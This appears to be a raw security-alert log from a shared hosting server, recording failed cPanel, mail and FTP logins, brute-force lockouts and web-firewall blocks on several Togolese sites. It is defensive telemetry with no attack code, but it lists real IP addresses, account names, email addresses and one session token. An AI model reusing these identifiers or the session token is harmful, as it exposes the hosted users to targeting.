# incident

plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.189.52.242
country_id: 3469034
description:
[2026-06-12 21:27:20 +0000] info [cpaneld] 181.189.52.242 - mediatopnew "GET /login/?login_only=1&user=mediatopnew&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mediatopnew (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:26:33 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (BvU9NDR1iP) [192.99.255.73]:59105: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.49.75.148
country_id: 102358
description:
[2026-06-12 21:27:32 +0000] info [cpaneld] 188.49.75.148 - mediatop "GET /login/?login_only=1&user=mediatop&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mediatop (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.86.17.179
country_id: 3469034
description:
[2026-06-12 21:27:36 +0000] info [cpaneld] 187.86.17.179 - mediato "GET /login/?login_only=1&user=mediato&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mediato (has_cpuser_file failed)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 192.99.255.73
country_id: 6251999
description:
Jun 12 21:27:28 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jmnoagbo@cafe.tg has been locked for the attacker IP 192.99.255.73


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:27:30 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (4bn4tSLDDq) [192.99.255.73]:62994: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:28:27 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (27OdS6rO) [192.99.255.73]:50533: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 192.99.255.73
country_id: 6251999
description:
Jun 12 21:28:25 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jmnoagbo@cafe.tg has been locked for the attacker IP 192.99.255.73


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:29:24 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (Lg764Iwj) [192.99.255.73]:54353: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 164.215.103.71
country_id: 241170
description:
Jun 12 21:29:55 ns5 pure-ftpd[1894074]: (?@164.215.103.71) [INFO] New connection from 164.215.103.71


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 192.99.255.73
country_id: 6251999
description:
Jun 12 21:29:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jmnoagbo@cafe.tg has been locked for the attacker IP 192.99.255.73


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:30:21 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (bD9MkqG5) [192.99.255.73]:58208: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:30:40 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (cDF1VwTNMQ) [192.99.255.73]:59499: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 92.112.200.136
country_id: 3469034
domain: afriquerevelation.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:92.112.200.136||TA:92.112.200.136||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:31:37 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (5MSluIp) [192.99.255.73]:63402: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-12 21:33:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:47736: 535 Incorrect authentication data (set_id=ycl@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.36.193.42
country_id: 1814991
description:
2026-06-12 21:33:17 dovecot_login authenticator failed for H=([111.34.17.94]) [106.36.193.42]:44252: 535 Incorrect authentication data (set_id=wages@wages.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.155.146.33
country_id: 2017370
description:
Jun 12 21:33:28 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.155.146.33 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 21:33:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:41678: 535 Incorrect authentication data (set_id=jons@ns5.netmaster.tg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 192.99.255.73
country_id: 6251999
description:
Jun 12 21:33:10 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jmnoagbo@cafe.tg has been locked for the attacker IP 192.99.255.73


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 12 21:33:10 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:33:12 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (lfeqat6) [192.99.255.73]:53577: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 12 21:33:14 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 12 21:33:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 21:33:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:38888: 535 Incorrect authentication data (set_id=mig@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 12 21:33:27 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.155.146.33
country_id: 2017370
description:
2026-06-12 21:33:30 dovecot_login authenticator failed for H=([107.181.168.150]) [45.155.146.33]:57020: 535 Incorrect authentication data (set_id=wages)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 21:33:12 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:27994: 535 Incorrect authentication data (set_id=channelmode@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 12 21:33:16 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-12 21:33:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:46888: 535 Incorrect authentication data (set_id=racing@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-12 21:33:15 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:36702: 535 Incorrect authentication data (set_id=mdm@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.36.193.42
country_id: 1814991
description:
Jun 12 21:33:15 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.36.193.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 12 21:33:13 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 192.99.255.73
country_id: 6251999
description:
Jun 12 21:34:26 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jmnoagbo@cafe.tg has been locked for the attacker IP 192.99.255.73


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:34:28 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (1X335q0) [192.99.255.73]:58536: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 129.212.235.141
country_id: 1880251
description:
[2026-06-12 21:36:01 +0000] info [cpaneld] 129.212.235.141 - tiyasuxe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tiyasuxe (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 93.185.162.128
country_id: 1643084
description:
93.185.162.128 - - [12/Jun/2026:21:36:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10263191&pdata=https%253A%252F%252Fdankpen1.mairie.tg%252Ffiscalite%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781300171 HTTP/2.0" 302 0 dankpen1.mairie.tg "https://dankpen1.mairie.tg/fiscalite/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:93.185.162.128


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.161
country_id: 1880251
description:
47.128.96.161 - - [12/Jun/2026:21:35:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9869673&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcompagnie-maritime-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781300134 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/compagnie-maritime-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.161


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.210.132.14
country_id: 1269750
description:
[2026-06-12 21:36:13 +0000] info [cpaneld] 103.210.132.14 - cafe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 159.223.62.22
country_id: 1880251
description:
Jun 12 21:36:30 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 159.223.62.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.39.231.215
country_id: 102358
description:
2026-06-12 21:45:15 dovecot_plain authenticator failed for H=([69.172.210.47]) [51.39.231.215]:14349: 535 Incorrect authentication data (set_id=admin@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.167.233.0
country_id: 1282988
description:
2026-06-12 21:45:02 dovecot_plain authenticator failed for H=([69.172.210.47]) [103.167.233.0]:6374: 535 Incorrect authentication data (set_id=info@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.187.75.63
country_id: 2017370
description:
2026-06-12 21:46:13 dovecot_plain authenticator failed for H=([69.172.210.47]) [5.187.75.63]:8739: 535 Incorrect authentication data (set_id=contato@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.39.231.215
country_id: 102358
description:
2026-06-12 21:45:22 dovecot_login authenticator failed for H=([69.172.210.47]) [51.39.231.215]:14349: 535 Incorrect authentication data (set_id=admin@ucao-uut.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 196.74.114.127
country_id: 2542007
description:
196.74.114.127 - - [12/Jun/2026:21:45:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10184804&pdata=https%253A%252F%252Ftogodailynews.tg%252Factivites-de-coris-hlding-au-togo-idrissa-nassa-fait-le-point-a-faure-gnassingbe%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781300724 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/activites-de-coris-hlding-au-togo-idrissa-nassa-fait-le-point-a-faure-gnassingbe/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2669.1210 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:196.74.114.127


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.34.127.154
country_id: 1522867
description:
2026-06-12 21:45:31 dovecot_plain authenticator failed for H=([69.172.210.47]) [5.34.127.154]:21233: 535 Incorrect authentication data (set_id=support@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.190.174.86
country_id: 1562822
description:
2026-06-12 21:45:57 dovecot_plain authenticator failed for H=([69.172.210.47]) [113.190.174.86]:58920: 535 Incorrect authentication data (set_id=contact@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.187.75.63
country_id: 2017370
description:
2026-06-12 21:46:20 dovecot_login authenticator failed for H=([69.172.210.47]) [5.187.75.63]:8739: 535 Incorrect authentication data (set_id=contato@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.43.200.254
country_id: 3895114
description:
2026-06-12 21:46:30 dovecot_plain authenticator failed for H=([69.172.210.47]) [181.43.200.254]:20250: 535 Incorrect authentication data (set_id=contacto@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.155.144.191
country_id: 3658394
description:
2026-06-12 21:46:56 dovecot_plain authenticator failed for H=([69.172.210.47]) [190.155.144.191]:56872: 535 Incorrect authentication data (set_id=financeiro@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.207.170.104
country_id: 2017370
description:
2026-06-12 21:47:11 dovecot_plain authenticator failed for H=([69.172.210.47]) [91.207.170.104]:65002: 535 Incorrect authentication data (set_id=comercial@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.181.12.17
country_id: 2077456
description:
2026-06-12 21:48:00 dovecot_plain authenticator failed for H=([69.172.210.47]) [65.181.12.17]:2443: 535 Incorrect authentication data (set_id=suporte@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.207.170.104
country_id: 2017370
description:
2026-06-12 21:47:18 dovecot_login authenticator failed for H=([69.172.210.47]) [91.207.170.104]:65002: 535 Incorrect authentication data (set_id=comercial@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.74.139.182
country_id: 3469034
description:
2026-06-12 21:47:28 dovecot_plain authenticator failed for H=177-74-139-182.pontocomnet.net.br ([69.172.210.47]) [177.74.139.182]:47002: 535 Incorrect authentication data (set_id=it@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.5.4.4
country_id: 2464461
description:
2026-06-12 21:47:43 dovecot_plain authenticator failed for H=([69.172.210.47]) [197.5.4.4]:57302: 535 Incorrect authentication data (set_id=accounts@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 206.1.92.29
country_id: 3686110
description:
2026-06-12 21:49:09 dovecot_plain authenticator failed for H=([69.172.210.47]) [206.1.92.29]:58054: 535 Incorrect authentication data (set_id=clients@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.114.111.177
country_id: 2017370
description:
2026-06-12 21:48:18 dovecot_plain authenticator failed for H=([69.172.210.47]) [82.114.111.177]:47664: 535 Incorrect authentication data (set_id=hr@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.153.255.185
country_id: 2921044
description:
2026-06-12 21:48:38 dovecot_plain authenticator failed for H=p5799ffb9.dip0.t-ipconnect.de ([69.172.210.47]) [87.153.255.185]:50826: 535 Incorrect authentication data (set_id=soporte@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.223.127.226
country_id: 3923057
description:
2026-06-12 21:48:54 dovecot_plain authenticator failed for H=([69.172.210.47]) [192.223.127.226]:57724: 535 Incorrect authentication data (set_id=ventas@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 206.1.92.29
country_id: 3686110
description:
2026-06-12 21:49:16 dovecot_login authenticator failed for H=([69.172.210.47]) [206.1.92.29]:58054: 535 Incorrect authentication data (set_id=clients@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.158.111.108
country_id: 2017370
description:
2026-06-12 21:49:24 dovecot_plain authenticator failed for H=([69.172.210.47]) [146.158.111.108]:60008: 535 Incorrect authentication data (set_id=info@ucao-uut.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 159.223.62.22
country_id: 1880251
description:
Jun 12 21:51:57 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 159.223.62.22 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.106.100.218
country_id: 3865483
description:
[2026-06-12 21:52:55 +0000] info [cpaneld] 190.106.100.218 - ese2i "GET /login/?login_only=1&user=ese2i&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ese2i (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.236.106.99
country_id: 3686110
description:
[2026-06-12 21:53:04 +0000] info [cpaneld] 38.236.106.99 - ese2 "GET /login/?login_only=1&user=ese2&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ese2 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.178.55.86
country_id: 3865483
description:
[2026-06-12 21:53:11 +0000] info [cpaneld] 201.178.55.86 - es "GET /login/?login_only=1&user=es&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user es (has_cpuser_file failed)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.169.7.171
country_id: 2363686
description:
[2026-06-12 21:53:31 +0000] info [webmaild] 196.169.7.171 - matthieu.awide@togointerim.net "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.234.80
country_id: 6252001
description:
2026-06-12 21:54:01 dovecot_plain authenticator failed for H=(xqs5rj5nycahctgb61xncb5sryq) [104.28.234.80]:33513: 535 Incorrect authentication data (set_id=admin@togocarrierebetons.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.63.176.227
country_id: 3351879
domain: lasnb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/lasnb.com/event/adzinikuzan-2023-apotheose HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.97.205.33
country_id: 1562822
description:
Jun 12 21:55:30 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.97.205.33 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.97.205.33
country_id: 1562822
description:
2026-06-12 21:55:32 dovecot_plain authenticator failed for H=(jiy2jbxr9k6s7i1dqosql) [116.97.205.33]:54165: 535 Incorrect authentication data (set_id=alfred.aguim@emt.tg)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 137.184.97.15
country_id: 6252001
description:
Jun 12 22:01:58 ns5 pure-ftpd[1913268]: (?@137.184.97.15) [WARNING] Authentication failed for user [Lacs1]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.174.0.167
country_id: 2017370
description:
[2026-06-12 22:02:46 +0000] info [whostmgrd] 217.174.0.167 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 78.135.61.227
country_id: 298795
description:
[2026-06-12 22:02:54 +0000] info [cpaneld] 78.135.61.227 - sadis "GET / HTTP/1.1" DEFERRED LOGIN cpaneld: security token missing


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 78.135.61.227
country_id: 298795
description:
[2026-06-12 22:03:06 +0000] info [cpaneld] 78.135.61.227 NEW sadis:naXe047WL9XPjcYT address=78.135.61.227,app=cpaneld,creator=sadis,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.128.111.187
country_id: 1880251
description:
43.128.111.187 - - [12/Jun/2026:22:02:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13146473&pdata=https%253A%252F%252Flaunetogo.tg%252Ftogo-letat-durgence-sanitaire-prend-finalement-fin-le-15-septembre%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781301742 HTTP/2.0" 302 0 launetogo.tg "https://launetogo.tg/togo-letat-durgence-sanitaire-prend-finalement-fin-le-15-septembre/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.128.111.187


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 18.224.171.11
country_id: 6252001
description:
[2026-06-12 22:03:18 +0000] info [cpaneld] 18.224.171.11 - Turbolte "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Turbolte (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.250.50.102
country_id: 298795
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/togo-lamu-au-coeur-des-travaux-du-conseil-des-ministres-du-04-octobre-2023/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.171.39.124
country_id: 3865483
description:
45.171.39.124 - - [12/Jun/2026:22:04:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9726617&pdata=https%253A%252F%252Fcpanel.batika.free.netmaster.tg%252F%253Flocale%253Des&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781301844 HTTP/2.0" 302 0 cpanel.batika.free.netmaster.tg "https://cpanel.batika.free.netmaster.tg/?locale=es" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.171.39.124


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.130.81.117
country_id: 690791
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:22-06.45.130.81.117||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 119.8.46.75
country_id: 1819730
description:
119.8.46.75 - - [12/Jun/2026:22:05:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9924250&pdata=https%253A%252F%252Fwww.letabloid.tg%252F2024%252F11%252F16%252Fcoupe-du-monde-de-slam-2024-les-5-derniers-finalistes-connus%252Fbookmark-page%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781301949 HTTP/2.0" 302 0 www.letabloid.tg "https://www.letabloid.tg/2024/11/16/coupe-du-monde-de-slam-2024-les-5-derniers-finalistes-connus/bookmark-page/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:119.8.46.75


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.210.132.14
country_id: 1269750
description:
[2026-06-12 22:07:42 +0000] info [cpaneld] 103.210.132.14 - cafe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.134
country_id: 3469034
description:
Jun 12 22:08:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.134 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.67.28
country_id: 6252001
description:
[2026-06-12 22:11:20 +0000] info [cpaneld] 217.181.67.28 - ygeaivhj "GET / HTTP/1.1" FAILED LOGIN cpaneld: User ygeaivhj has their account suspended. Login blocked.


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 192.42.116.143
country_id: 2750405
description:
192.42.116.143 - glfmqhlj [12/Jun/2026:22:13:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13210220&pdata=https%253A%252F%252Fafriquerevelation.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781302415 HTTP/2.0" 302 0 afriquerevelation.tg "https://afriquerevelation.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:192.42.116.143


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 171.25.193.37
country_id: 2661886
description:
171.25.193.37 - hgfdcvbnk [12/Jun/2026:22:14:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6842782&pdata=https%253A%252F%252Fmonde-ai.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781302491 HTTP/2.0" 302 0 monde-ai.tg "https://monde-ai.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:171.25.193.37


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.26.109
country_id: 2635167
description:
[2026-06-12 22:15:15 +0000] info [cpaneld] 195.63.26.109 - moodlefreenetmas "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.223.84.84
country_id: 6251999
description:
104.223.84.84 - mbyqtkiw [12/Jun/2026:22:16:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9594773&pdata=https%253A%252F%252Fbanmlab.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781302558 HTTP/2.0" 302 0 banmlab.tg "https://banmlab.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.223.84.84


plugin: ossec
rule: 31130
